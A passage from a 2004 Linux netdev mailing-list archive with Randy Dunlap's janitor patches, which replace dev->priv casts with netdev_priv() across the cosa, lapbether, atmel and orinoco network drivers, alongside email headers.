-1205,7 +1205,7 @@ static int cosa_sppp_ioctl(struct net_de int cmd) { int rv; - struct channel_data *chan = (struct channel_data *)dev->priv; + struct channel_data *chan = netdev_priv(dev); rv = cosa_ioctl_common(chan->cosa, chan, cmd, (unsigned long)ifr->ifr_data); if (rv == -ENOIOCTLCMD) { return sppp_do_ioctl(dev, ifr, cmd); @@ -1216,7 +1216,7 @@ static int cosa_sppp_ioctl(struct net_de static int cosa_chardev_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) { - struct channel_data *channel = (struct channel_data *)file->private_data; + struct channel_data *channel = file->private_data; struct cosa_data *cosa = channel->cosa; return cosa_ioctl_common(cosa, channel, cmd, arg); } diff -puN drivers/net/wan/lapbether.c~net_wan_casts drivers/net/wan/lapbether.c --- linux-264-302-priv/drivers/net/wan/lapbether.c~net_wan_casts 2004-03-03 09:12:10.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wan/lapbether.c 2004-03-03 09:37:46.000000000 -0800 @@ -198,7 +198,7 @@ drop: static void lapbeth_data_transmit(struct net_device *ndev, struct sk_buff *skb) { - struct lapbethdev *lapbeth = ndev->priv; + struct lapbethdev *lapbeth = netdev_priv(ndev); unsigned char *ptr; struct net_device *dev; int size = skb->len; @@ -269,7 +269,7 @@ static void lapbeth_disconnected(struct */ static struct net_device_stats *lapbeth_get_stats(struct net_device *dev) { - struct lapbethdev *lapbeth = (struct lapbethdev *)dev->priv; + struct lapbethdev *lapbeth = netdev_priv(dev); return &lapbeth->stats; } @@ -278,7 +278,7 @@ static struct net_device_stats *lapbeth_ */ static int lapbeth_set_mac_address(struct net_device *dev, void *addr) { - struct sockaddr *sa = (struct sockaddr *)addr; + struct sockaddr *sa = addr; memcpy(dev->dev_addr, sa->sa_data, dev->addr_len); return 0; } @@ -355,7 +355,7 @@ static int lapbeth_new_device(struct net if (!ndev) goto out; - lapbeth = ndev->priv; + lapbeth = netdev_priv(ndev); lapbeth->axdev = ndev; dev_hold(dev); @@ -397,7 +397,7 @@ static int lapbeth_device_event(struct n unsigned long event, void *ptr) { struct lapbethdev *lapbeth; - struct net_device *dev = (struct net_device *)ptr; + struct net_device *dev = ptr; if (!dev_is_ethdev(dev)) return NOTIFY_DONE; _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:21:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:21:11 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LKwKO019390 for ; Thu, 4 Mar 2004 13:20:58 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LKqE29407 for ; Thu, 4 Mar 2004 13:20:52 -0800 Date: Thu, 4 Mar 2004 13:20:00 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/wireless/ drivers Message-Id: <20040304132000.623fcda4.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3752 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 27609 Lines: 817 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/wireless/atmel.c | 72 ++++----- linux-264-302-priv-rddunlap/drivers/net/wireless/orinoco.c | 104 ++++++------- 2 files changed, 88 insertions(+), 88 deletions(-) diff -puN drivers/net/wireless/atmel.c~net_wireless_casts drivers/net/wireless/atmel.c --- linux-264-302-priv/drivers/net/wireless/atmel.c~net_wireless_casts 2004-03-03 10:02:14.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wireless/atmel.c 2004-03-03 10:24:16.000000000 -0800 @@ -796,7 +796,7 @@ static void tx_update_descriptor(struct static int start_tx (struct sk_buff *skb, struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = netdev_priv(dev); struct ieee802_11_hdr header; unsigned long flags; u16 buff, frame_ctl, len = (ETH_ZLEN < skb->len) ? skb->len : ETH_ZLEN; @@ -1167,7 +1167,7 @@ static void reset_irq_status(struct atme static irqreturn_t service_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct atmel_private *priv = (struct atmel_private *) dev->priv; + struct atmel_private *priv = netdev_priv(dev); u8 isr; if (priv->card && priv->present_callback && @@ -1234,13 +1234,13 @@ static irqreturn_t service_interrupt(int static struct net_device_stats *atmel_get_stats (struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = netdev_priv(dev); return &priv->stats; } static struct iw_statistics *atmel_get_wireless_stats (struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* update the link quality here in case we are seeing no beacons at all to drive the process */ @@ -1287,7 +1287,7 @@ static int atmel_set_mac_address(struct static int atmel_open (struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *) dev->priv; + struct atmel_private *priv = netdev_priv(dev); priv->station_state = STATION_STATE_INITIALIZING; if (!reset_atmel_card(dev)) { priv->station_state = STATION_STATE_DOWN; @@ -1298,7 +1298,7 @@ static int atmel_open (struct net_device static int atmel_close (struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *) dev->priv; + struct atmel_private *priv = netdev_priv(dev); netif_carrier_off(dev); if (netif_running(dev)) @@ -1378,7 +1378,7 @@ static int atmel_proc_output (char *buf, static int atmel_read_proc(char *page, char **start, off_t off, int count, int *eof, void *data) { - struct atmel_private *priv = (struct atmel_private *)data; + struct atmel_private *priv = data; int len = atmel_proc_output (page, priv); if (len <= off+count) *eof = 1; *start = page + off; @@ -1406,7 +1406,7 @@ struct net_device *init_atmel_card( unsi goto err_out_free; } - priv = dev->priv; + priv = netdev_priv(dev); priv->dev = dev; priv->sys_dev = sys_dev; priv->present_callback = card_present; @@ -1525,7 +1525,7 @@ EXPORT_SYMBOL(init_atmel_card); void stop_atmel_card(struct net_device *dev, int freeres) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* put a brick on it... */ if (priv->bus_type == BUS_TYPE_PCCARD) @@ -1582,7 +1582,7 @@ static int atmel_set_essid(struct net_de struct iw_point *dwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* Check if we asked for `any' */ if(dwrq->flags == 0) { @@ -1610,7 +1610,7 @@ static int atmel_get_essid(struct net_de struct iw_point *dwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* Get the current SSID */ if (priv->SSID_size == 0) { @@ -1633,7 +1633,7 @@ static int atmel_get_wap(struct net_devi struct sockaddr *awrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); memcpy(awrq->sa_data, priv->CurrentBSSID, 6); awrq->sa_family = ARPHRD_ETHER; @@ -1645,7 +1645,7 @@ static int atmel_set_encode(struct net_d struct iw_point *dwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* Basic checking: do we have a key to set ? * Note : with the new API, it's impossible to get a NULL pointer. @@ -1736,7 +1736,7 @@ static int atmel_get_encode(struct net_d struct iw_point *dwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); int index = (dwrq->flags & IW_ENCODE_INDEX) - 1; if (!priv->wep_is_on) @@ -1776,7 +1776,7 @@ static int atmel_set_rate(struct net_dev struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); if (vwrq->fixed == 0) { priv->tx_rate = 3; @@ -1808,7 +1808,7 @@ static int atmel_set_mode(struct net_dev __u32 *uwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); if (*uwrq != IW_MODE_ADHOC && *uwrq != IW_MODE_INFRA) return -EINVAL; @@ -1822,7 +1822,7 @@ static int atmel_get_mode(struct net_dev __u32 *uwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); *uwrq = priv->operating_mode; return 0; @@ -1833,7 +1833,7 @@ static int atmel_get_rate(struct net_dev struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); if (priv->auto_tx_rate) { vwrq->fixed = 0; @@ -1855,7 +1855,7 @@ static int atmel_set_power(struct net_de struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); priv->power_mode = vwrq->disabled ? 0 : 1; return -EINPROGRESS; } @@ -1865,7 +1865,7 @@ static int atmel_get_power(struct net_de struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); vwrq->disabled = priv->power_mode ? 0 : 1; vwrq->flags = IW_POWER_ON; return 0; @@ -1876,7 +1876,7 @@ static int atmel_set_retry(struct net_de struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); if(!vwrq->disabled && (vwrq->flags & IW_RETRY_LIMIT)) { if(vwrq->flags & IW_RETRY_MAX) @@ -1899,7 +1899,7 @@ static int atmel_get_retry(struct net_de struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); vwrq->disabled = 0; /* Can't be disabled */ @@ -1922,7 +1922,7 @@ static int atmel_set_rts(struct net_devi struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); int rthr = vwrq->value; if(vwrq->disabled) @@ -1940,7 +1940,7 @@ static int atmel_get_rts(struct net_devi struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); vwrq->value = priv->rts_threshold; vwrq->disabled = (vwrq->value >= 2347); @@ -1954,7 +1954,7 @@ static int atmel_set_frag(struct net_dev struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); int fthr = vwrq->value; if(vwrq->disabled) @@ -1973,7 +1973,7 @@ static int atmel_get_frag(struct net_dev struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); vwrq->value = priv->frag_threshold; vwrq->disabled = (vwrq->value >= 2346); @@ -1990,7 +1990,7 @@ static int atmel_set_freq(struct net_dev struct iw_freq *fwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); int rc = -EINPROGRESS; /* Call commit handler */ /* If setting by frequency, convert to a channel */ @@ -2024,7 +2024,7 @@ static int atmel_get_freq(struct net_dev struct iw_freq *fwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); fwrq->m = priv->channel; fwrq->e = 0; @@ -2036,7 +2036,7 @@ static int atmel_set_scan(struct net_dev struct iw_param *vwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* Note : you may have realised that, as this is a SET operation, * this is privileged and therefore a normal user can't @@ -2074,7 +2074,7 @@ static int atmel_get_scan(struct net_dev struct iw_point *dwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); int i; char *current_ev = extra; struct iw_event iwe; @@ -2126,7 +2126,7 @@ static int atmel_get_range(struct net_de struct iw_point *dwrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); struct iw_range *range = (struct iw_range *) extra; int k,i,j; @@ -2193,7 +2193,7 @@ static int atmel_set_wap(struct net_devi struct sockaddr *awrq, char *extra) { - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); int i; static const u8 bcast[] = { 255, 255, 255, 255, 255, 255 }; @@ -2318,7 +2318,7 @@ static const struct iw_handler_def atmel static int atmel_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { int rc = 0; - struct atmel_private *priv = (struct atmel_private *) dev->priv; + struct atmel_private *priv = netdev_priv(dev); atmel_priv_ioctl com; struct iwreq *wrq = (struct iwreq *) rq; unsigned char *new_firmware; @@ -3053,7 +3053,7 @@ static void atmel_management_frame(struc static void atmel_management_timer(u_long a) { struct net_device *dev = (struct net_device *) a; - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = netdev_priv(dev); unsigned long flags; /* Check if the card has been yanked. */ @@ -3297,7 +3297,7 @@ static int atmel_wakeup_firmware(struct static int probe_atmel_card(struct net_device *dev) { int rc = 0; - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); /* reset pccard */ if (priv->bus_type == BUS_TYPE_PCCARD) @@ -3486,7 +3486,7 @@ int reset_atmel_card(struct net_device * which is the route into the rest of the firmare datastructures. */ int channel; - struct atmel_private *priv = dev->priv; + struct atmel_private *priv = netdev_priv(dev); u8 configuration; /* data to add to the firmware names, in priority order diff -puN drivers/net/wireless/orinoco.c~net_wireless_casts drivers/net/wireless/orinoco.c --- linux-264-302-priv/drivers/net/wireless/orinoco.c~net_wireless_casts 2004-03-03 10:02:14.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wireless/orinoco.c 2004-03-03 10:27:06.000000000 -0800 @@ -599,7 +599,7 @@ static int orinoco_debug_dump_recs(struc int __orinoco_up(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct hermes *hw = &priv->hw; int err; @@ -626,7 +626,7 @@ int __orinoco_up(struct net_device *dev) int __orinoco_down(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct hermes *hw = &priv->hw; int err; @@ -657,7 +657,7 @@ int __orinoco_down(struct net_device *de int orinoco_reinit_firmware(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct hermes *hw = &priv->hw; int err; @@ -685,7 +685,7 @@ int orinoco_reinit_firmware(struct net_d static int orinoco_open(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); unsigned long flags; int err; @@ -705,7 +705,7 @@ static int orinoco_open(struct net_devic int orinoco_stop(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int err = 0; /* We mustn't use orinoco_lock() here, because we need to be @@ -724,7 +724,7 @@ int orinoco_stop(struct net_device *dev) static int __orinoco_program_rids(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err; struct hermes_idstring idbuf; @@ -912,7 +912,7 @@ ESSID in IBSS-Ad-Hoc mode.\n", dev->name /* xyzzy */ static int orinoco_reconfigure(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct hermes *hw = &priv->hw; unsigned long flags; int err = 0; @@ -965,7 +965,7 @@ static int orinoco_reconfigure(struct ne * schedule_work() */ static void orinoco_reset(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct hermes *hw = &priv->hw; int err; unsigned long flags; @@ -1070,7 +1070,7 @@ is_ethersnap(struct header_struct *hdr) static void orinoco_set_multicast_list(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); unsigned long flags; if (orinoco_lock(priv, &flags) != 0) { @@ -1433,7 +1433,7 @@ static void show_rx_frame(struct orinoco irqreturn_t orinoco_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int count = MAX_IRQLOOPS_PER_IRQ; u16 evstat, events; @@ -1561,7 +1561,7 @@ static void print_linkstatus(struct net_ static void __orinoco_ev_info(struct net_device *dev, hermes_t *hw) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); u16 infofid; struct { u16 len; @@ -1662,7 +1662,7 @@ static void __orinoco_ev_info(struct net static void __orinoco_ev_rx(struct net_device *dev, hermes_t *hw) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct net_device_stats *stats = &priv->stats; struct iw_statistics *wstats = &priv->wstats; struct sk_buff *skb = NULL; @@ -1814,7 +1814,7 @@ static void __orinoco_ev_rx(struct net_d static void __orinoco_ev_txexc(struct net_device *dev, hermes_t *hw) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct net_device_stats *stats = &priv->stats; u16 fid = hermes_read_regn(hw, TXCOMPLFID); struct hermes_tx_descriptor desc; @@ -1840,7 +1840,7 @@ static void __orinoco_ev_txexc(struct ne static void __orinoco_ev_tx(struct net_device *dev, hermes_t *hw) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct net_device_stats *stats = &priv->stats; stats->tx_packets++; @@ -1850,7 +1850,7 @@ static void __orinoco_ev_tx(struct net_d static void __orinoco_ev_alloc(struct net_device *dev, hermes_t *hw) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); u16 fid = hermes_read_regn(hw, ALLOCFID); @@ -1886,7 +1886,7 @@ static int determine_firmware_type(struc static void determine_firmware(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err; struct sta_id sta_id; @@ -2024,7 +2024,7 @@ static void determine_firmware(struct ne static int orinoco_init(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err = 0; struct hermes_idstring nickbuf; @@ -2204,7 +2204,7 @@ orinoco_init(struct net_device *dev) struct net_device_stats * orinoco_get_stats(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); return &priv->stats; } @@ -2212,7 +2212,7 @@ orinoco_get_stats(struct net_device *dev struct iw_statistics * orinoco_get_wireless_stats(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; struct iw_statistics *wstats = &priv->wstats; int err = 0; @@ -2271,7 +2271,7 @@ orinoco_get_wireless_stats(struct net_de static inline void orinoco_spy_gather(struct net_device *dev, u_char *mac, int level, int noise) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int i; /* Gather wireless spy statistics: for each packet, compare the @@ -2290,7 +2290,7 @@ orinoco_stat_gather(struct net_device *d struct sk_buff *skb, struct hermes_rx_descriptor *desc) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = netdev_priv(dev); /* Using spy support with lots of Rx packets, like in an * infrastructure (AP), will really slow down everything, because @@ -2311,7 +2311,7 @@ orinoco_stat_gather(struct net_device *d static int orinoco_xmit(struct sk_buff *skb, struct net_device *dev) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct net_device_stats *stats = &priv->stats; hermes_t *hw = &priv->hw; int err = 0; @@ -2449,7 +2449,7 @@ orinoco_xmit(struct sk_buff *skb, struct static void orinoco_tx_timeout(struct net_device *dev) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct net_device_stats *stats = &priv->stats; struct hermes *hw = &priv->hw; @@ -2466,7 +2466,7 @@ orinoco_tx_timeout(struct net_device *de static int orinoco_change_mtu(struct net_device *dev, int new_mtu) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); if ( (new_mtu < ORINOCO_MIN_MTU) || (new_mtu > ORINOCO_MAX_MTU) ) return -EINVAL; @@ -2484,7 +2484,7 @@ orinoco_change_mtu(struct net_device *de static void __orinoco_set_multicast_list(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err = 0; int promisc, mc_count; @@ -2554,7 +2554,7 @@ __orinoco_set_multicast_list(struct net_ static int orinoco_ioctl_getiwrange(struct net_device *dev, struct iw_point *rrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int err = 0; int mode; struct iw_range range; @@ -2699,7 +2699,7 @@ static int orinoco_ioctl_getiwrange(stru static int orinoco_ioctl_setiwencode(struct net_device *dev, struct iw_point *erq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int index = (erq->flags & IW_ENCODE_INDEX) - 1; int setindex = priv->tx_key; int enable = priv->wep_on; @@ -2794,7 +2794,7 @@ static int orinoco_ioctl_setiwencode(str static int orinoco_ioctl_getiwencode(struct net_device *dev, struct iw_point *erq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int index = (erq->flags & IW_ENCODE_INDEX) - 1; u16 xlen = 0; char keybuf[ORINOCO_MAX_KEY_SIZE]; @@ -2841,7 +2841,7 @@ static int orinoco_ioctl_getiwencode(str static int orinoco_ioctl_setessid(struct net_device *dev, struct iw_point *erq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); char essidbuf[IW_ESSID_MAX_SIZE+1]; int err; unsigned long flags; @@ -2874,7 +2874,7 @@ static int orinoco_ioctl_setessid(struct static int orinoco_ioctl_getessid(struct net_device *dev, struct iw_point *erq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); char essidbuf[IW_ESSID_MAX_SIZE+1]; int active; int err = 0; @@ -2907,7 +2907,7 @@ static int orinoco_ioctl_getessid(struct static int orinoco_ioctl_setnick(struct net_device *dev, struct iw_point *nrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); char nickbuf[IW_ESSID_MAX_SIZE+1]; int err; unsigned long flags; @@ -2935,7 +2935,7 @@ static int orinoco_ioctl_setnick(struct static int orinoco_ioctl_getnick(struct net_device *dev, struct iw_point *nrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); char nickbuf[IW_ESSID_MAX_SIZE+1]; int err; unsigned long flags; @@ -2957,7 +2957,7 @@ static int orinoco_ioctl_getnick(struct static int orinoco_ioctl_setfreq(struct net_device *dev, struct iw_freq *frq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int chan = -1; int err; unsigned long flags; @@ -2999,7 +2999,7 @@ static int orinoco_ioctl_setfreq(struct static int orinoco_ioctl_getsens(struct net_device *dev, struct iw_param *srq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; u16 val; int err; @@ -3025,7 +3025,7 @@ static int orinoco_ioctl_getsens(struct static int orinoco_ioctl_setsens(struct net_device *dev, struct iw_param *srq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int val = srq->value; int err; unsigned long flags; @@ -3047,7 +3047,7 @@ static int orinoco_ioctl_setsens(struct static int orinoco_ioctl_setrts(struct net_device *dev, struct iw_param *rrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int val = rrq->value; int err; unsigned long flags; @@ -3070,7 +3070,7 @@ static int orinoco_ioctl_setrts(struct n static int orinoco_ioctl_setfrag(struct net_device *dev, struct iw_param *frq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int err = 0; unsigned long flags; @@ -3105,7 +3105,7 @@ supported on this firmware. Using MWO ro static int orinoco_ioctl_getfrag(struct net_device *dev, struct iw_param *frq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err = 0; u16 val; @@ -3143,7 +3143,7 @@ static int orinoco_ioctl_getfrag(struct static int orinoco_ioctl_setrate(struct net_device *dev, struct iw_param *rrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int err = 0; int ratemode = -1; int bitrate; /* 100s of kilobits */ @@ -3186,7 +3186,7 @@ static int orinoco_ioctl_setrate(struct static int orinoco_ioctl_getrate(struct net_device *dev, struct iw_param *rrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err = 0; int ratemode; @@ -3253,7 +3253,7 @@ static int orinoco_ioctl_getrate(struct static int orinoco_ioctl_setpower(struct net_device *dev, struct iw_param *prq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int err = 0; unsigned long flags; @@ -3306,7 +3306,7 @@ static int orinoco_ioctl_setpower(struct static int orinoco_ioctl_getpower(struct net_device *dev, struct iw_param *prq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err = 0; u16 enable, period, timeout, mcast; @@ -3356,7 +3356,7 @@ static int orinoco_ioctl_getpower(struct #if WIRELESS_EXT > 10 static int orinoco_ioctl_getretry(struct net_device *dev, struct iw_param *rrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; int err = 0; u16 short_limit, long_limit, lifetime; @@ -3409,7 +3409,7 @@ static int orinoco_ioctl_getretry(struct static int orinoco_ioctl_setibssport(struct net_device *dev, struct iwreq *wrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int val = *( (int *) wrq->u.name ); int err; unsigned long flags; @@ -3429,7 +3429,7 @@ static int orinoco_ioctl_setibssport(str static int orinoco_ioctl_getibssport(struct net_device *dev, struct iwreq *wrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int *val = (int *)wrq->u.name; int err; unsigned long flags; @@ -3446,7 +3446,7 @@ static int orinoco_ioctl_getibssport(str static int orinoco_ioctl_setport3(struct net_device *dev, struct iwreq *wrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int val = *( (int *) wrq->u.name ); int err = 0; unsigned long flags; @@ -3488,7 +3488,7 @@ static int orinoco_ioctl_setport3(struct static int orinoco_ioctl_getport3(struct net_device *dev, struct iwreq *wrq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); int *val = (int *)wrq->u.name; int err; unsigned long flags; @@ -3507,7 +3507,7 @@ static int orinoco_ioctl_getport3(struct * Jean II */ static int orinoco_ioctl_setspy(struct net_device *dev, struct iw_point *srq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct sockaddr address[IW_MAX_SPY]; int number = srq->length; int i; @@ -3554,7 +3554,7 @@ static int orinoco_ioctl_setspy(struct n static int orinoco_ioctl_getspy(struct net_device *dev, struct iw_point *srq) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct sockaddr address[IW_MAX_SPY]; struct iw_quality spy_stat[IW_MAX_SPY]; int number; @@ -3601,7 +3601,7 @@ static int orinoco_ioctl_getspy(struct n static int orinoco_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); struct iwreq *wrq = (struct iwreq *)rq; int err = 0; int tmp; @@ -4057,7 +4057,7 @@ struct { static int orinoco_debug_dump_recs(struct net_device *dev) { - struct orinoco_private *priv = dev->priv; + struct orinoco_private *priv = netdev_priv(dev); hermes_t *hw = &priv->hw; u8 *val8; u16 *val16; @@ -4131,7 +4131,7 @@ struct net_device *alloc_orinocodev(int dev = alloc_etherdev(sizeof(struct orinoco_private) + sizeof_card); if (!dev) return NULL; - priv = (struct orinoco_private *)dev->priv; + priv = netdev_priv(dev); priv->ndev = dev; if (sizeof_card) priv->card = (void *)((unsigned long)dev->priv + sizeof(struct orinoco_private)); _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:21:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:21:30 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LLMKO019779 for ; Thu, 4 Mar 2004 13:21:22 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LLHE29479 for ; Thu, 4 Mar 2004 13:21:17 -0800 Date: Thu, 4 Mar 2004 13:20:24 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in synclink (char. driver) Message-Id: <20040304132024.149150c6.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3754 X-ecartis-version: Ecartis 